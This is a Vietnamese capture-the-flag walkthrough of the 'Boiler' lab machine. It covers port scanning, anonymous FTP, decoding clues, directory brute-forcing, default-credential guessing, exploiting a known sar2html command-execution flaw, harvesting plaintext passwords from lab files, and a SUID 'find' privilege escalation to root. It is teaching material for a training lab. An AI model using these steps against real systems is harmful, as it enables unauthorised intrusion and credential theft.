Boiler CTF
Intermediate level CTF.
Initital Reconnaissance
Service Scanning
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 60 vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.17.21.52
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
10000/tcp open http syn-ack ttl 60 MiniServ 1.930 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: CE241166AB3F0B8F57D5B01BC714ACFB
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.930
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
55007/tcp open ssh syn-ack ttl 60 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8bsvFyC4EXgZIlLR/7o9EHosUTTGJKIdjtMUyYrhUpJiEdUahT64rItJMCyO47iZTR5wkQx2H8HThHT6iQ5GlMzLGWFSTL1ttIulcg7uyXzWhJMiG/0W4HNIR44DlO8zBvysLRkBSCUEdD95kLABPKxIgCnYqfS3D73NJI6T2qWrbCTaIG5QAS5yAyPERXXz3ofHRRiCr3fYHpVopUbMTWZZDjR3DKv7IDsOCbMKSwmmgdfxDhFIBRtCkdiUdGJwP/g0uEUtHbSYsNZbc1s1a5EpaxvlESKPBainlPlRkqXdIiYuLvzsf2J0ajniPUkvJ2JbC8qm7AaDItepXLoDt
| 256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLIDkrDNUoTTfKoucY3J3eXFICcitdce9/EOdMn8/7ZrUkM23RMsmFncOVJTkLOxOB+LwOEavTWG/pqxKLpk7oc=
| 256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPsAMyp7Cf1qf50P6K9P2n30r4MVz09NnjX7LvcKgG2p
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.4
OS details: Linux 4.4FTP 21
Máy chủ FTP cho phép đăng nhập ẩn danh, vậy nên chúng ta thử kết nối và xem bên trong có gì.
┌──(hungnt㉿kali)-[~]
└─$ ftp boiler.thm
Connected to boiler.thm.
220 (vsFTPd 3.0.3)
Name (boiler.thm:hungnt): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||41200|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls
229 Entering Extended Passive Mode (|||41046|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||43931|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 .
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 ..
-rw-r--r-- 1 ftp ftp 74 Aug 21 2019 .info.txt
226 Directory send OK.
ftp> more .info.txt
Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!Ở đây có một đoạn dữ liệu trông giống như caesar cipher. Khi kiểm tra kỹ hơn, ta nhận ra nó chính là ROT-13.

HTTP 80
Directory Enumeration
Chúng ta sẽ sử dụng gobuster để scan những thư mục và file ẩn trên web server:
┌──(hungnt㉿kali)-[~]
└─$ gobuster dir -u http://boiler.thm -w /usr/share/wordlists/dirb/common.txt -t 64 -x php,txt -b 404,403
/robots.txt

User-agent: *
Disallow: /
/tmp
/.ssh
/yellow
/not
/a+rabbit
/hole
/or
/is
/it
079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075Trong file robots.txt có chứa vài giá trị thập phân. Khi chuyển đổi chúng sang dạng ASCII, ta thu được một chuỗi được mã hóa base64.


Sau khi giải mã base64, chúng ta lại gặp một chuỗi có vẻ là hash MD5. Điều này gợi ý rằng có thể chúng ta vừa tìm ra một mật khẩu.

99b0660cd95adea327c54182baa51584:kidding/joomla
Ngoài ra, chúng ta biết rằng website này đang sử dụng Joomla CMS.

Joomla Directory Enumeration
Để chắc chắn không bỏ sót, chúng ta tiến hành quét directory một lần nữa nhằm tìm thêm các thư mục hoặc file ẩn.
┌──(hungnt㉿kali)-[~]
└─$ gobuster dir -u http://boiler.thm/joomla -w /usr/share/wordlists/dirb/big.txt -t 128
Kết quả cho thấy có một số thư mục thú vị bắt đầu bằng dấu gạch dưới _.
/joomla.xml

Joomla đang chạy ở phiên bản 3.9.12.
/joomla/administrator

Trong trang đăng nhập này, chúng ta có thể thử một số credential mặc định hoặc mật khẩu mà trước đó đã tìm thấy:
admin:adminadmin:rootadmin:passwordadmin:kiddingadmin:99b0660cd95adea327c54182baa51584
Tuy nhiên, không credential nào trong số này hoạt động.
/joomla/_test

Tiếp tục kiểm tra, ta thấy một directory đang sử dụng sar2html, đây là một công cụ để vẽ biểu đồ hoặc thống kê hệ thống:
(
).HTTP 10000
Tiếp theo, ở port 10000 xuất hiện dịch vụ Webmin. Đây là một control panel mã nguồn mở, chạy trên web, giúp quản trị hệ thống dạng Unix dễ dàng hơn bằng giao diện web thay vì phải thao tác với command phức tạp. Nó cho phép quản lý các cài đặt hệ thống, user, dịch vụ và ứng dụng.

Chúng ta tiếp tục thử một vài cặp tài khoản ở đây:
root:rootroot:passwordroot:kiddingadmin:passwordadmin:kidding
Trang web này có cơ chế giới hạn số lần thử đăng nhập (rate limiting), vì vậy chúng ta không thể brute force thêm được gì ở đây.

SSH 55007
Dịch vụ SSH đang chạy trên một port khá bất thường: 55007. Nó cho phép xác thực bằng mật khẩu, nghĩa là chúng ta có thể thử đăng nhập trực tiếp.
┌──(hungnt㉿kali)-[~]
└─$ ssh -p 55007 root@boiler.thm
The authenticity of host '[boiler.thm]:55007 ([10.201.74.23]:55007)' can't be established.
ED25519 key fingerprint is SHA256:GhS3mY+uTmthQeOzwxRCFZHv1MN2hrYkdao9HJvi8lk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[boiler.thm]:55007' (ED25519) to the list of known hosts.
root@boiler.thm's password: kidding
Permission denied, please try again.Shell as www-data
Sử dụng searchsploit, chúng ta phát hiện rằng sar2html tồn tại lỗ hổng RCE (Remote Code Execution).


Tận dụng lỗ hổng này, chúng ta thành công truy cập hệ thống dưới quyền user www-data.

Password Discovery
Command => pwd
HPUX
Linux
SunOS
/var/www/html/joomla/_test
Command => ls -la
HPUX
Linux
SunOS
total 124
drwxr-xr-x 3 www-data www-data 4096 Aug 22 2019 .
drwxr-xr-x 25 www-data www-data 4096 Aug 22 2019 ..
-rwxr-xr-x 1 www-data www-data 53430 Aug 22 2019 index.php
-rwxr-xr-x 1 www-data www-data 716 Aug 21 2019 log.txt
-rwxr-xr-x 1 www-data www-data 53165 Mar 19 2019 sar2html
drwxr-xr-x 3 www-data www-data 4096 Aug 22 2019 sarFILE
Command => cat log.txt
HPUX
Linux
SunOS
Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperp@$$
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.Trong quá trình kiểm tra, chúng ta tìm thấy mật khẩu dạng plain text của user basterd bên trong file log.txt.
Shell as basterd
Với mật khẩu này, chúng ta có thể thử đăng nhập SSH vào target bằng tài khoản basterd.

Sudo Permissions
Sau khi đăng nhập, ta nên tiếp tục kiểm tra quyền sudo của user này để xem có thể khai thác gì thêm.
basterd@Vulnerable:~$ sudo -l
[sudo] password for basterd:
Sorry, user basterd may not run sudo on Vulnerable.Password Discovery
basterd@Vulnerable:~$ pwd
/home/basterd
basterd@Vulnerable:~$ ls -la
total 16
drwxr-x--- 3 basterd basterd 4096 Aug 22 2019 .
drwxr-xr-x 4 root root 4096 Aug 22 2019 ..
-rwxr-xr-x 1 stoner basterd 699 Aug 21 2019 backup.sh
-rw------- 1 basterd basterd 0 Aug 22 2019 .bash_history
drwx------ 2 basterd basterd 4096 Aug 22 2019 .cache
basterd@Vulnerable:~$ cat backup.sh
REMOTE=1.2.3.4
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log
DATE=`date +%y\.%m\.%d\.`
USER=stoner
#superduperp@$$no1knows
ssh $USER@$REMOTE mkdir $TARGET/$DATE
if [ -d "$SOURCE" ]; then
for i in `ls $SOURCE | grep 'data'`;do
echo "Begining copy of" $i >> $LOG
scp $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
echo $i "completed" >> $LOG
if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null` ];then
rm $SOURCE/$i
echo $i "removed" >> $LOG
echo "####################" >> $LOG
else
echo "Copy not complete" >> $LOG
exit 0
fi
done
else
echo "Directory is not present" >> $LOG
exit 0
fiTiếp tục kiểm tra, chúng ta lại tìm được một mật khẩu plain text khác của user stoner trong file backup.sh.
Shell as stoner
basterd@Vulnerable:~$ su stoner
Password: superduperp@$$no1knows
stoner@Vulnerable:/home/basterd$ cd ~
stoner@Vulnerable:~$ ls -la
total 16
drwxr-x--- 3 stoner stoner 4096 Aug 22 2019 .
drwxr-xr-x 4 root root 4096 Aug 22 2019 ..
drwxrwxr-x 2 stoner stoner 4096 Aug 22 2019 .nano
-rw-r--r-- 1 stoner stoner 34 Aug 21 2019 .secretstoner@Vulnerable:~$ cat .secret
You made it till here, well done.
stoner@Vulnerable:~$ cd .nano
stoner@Vulnerable:~/.nano$ ls -la
total 8
drwxrwxr-x 2 stoner stoner 4096 Aug 22 2019 .
drwxr-x--- 3 stoner stoner 4096 Aug 22 2019 ..Sudo Permissions
stoner@Vulnerable:/$ sudo -l
User stoner may run the following commands on Vulnerable:
(root) NOPASSWD: /NotThisTime/MessinWithYaLinPEAS
Để tiếp tục, chúng ta chạy linpeas nhằm enumerate các vector leo quyền.


Kết quả cho thấy binary find có gán quyền SUID, và chúng ta có thể lợi dụng điều này để leo quyền lên root.
Shell as root

Chúng ta đã thành công chiếm được quyền root!
root.txt
## cd /root
## ls -la
total 12
drwx------ 2 root root 4096 Aug 22 2019 .
drwxr-xr-x 22 root root 4096 Aug 22 2019 ..
-rw-r--r-- 1 root root 29 Aug 21 2019 root.txt
## cat root.txt
It wasn't that hard, was it?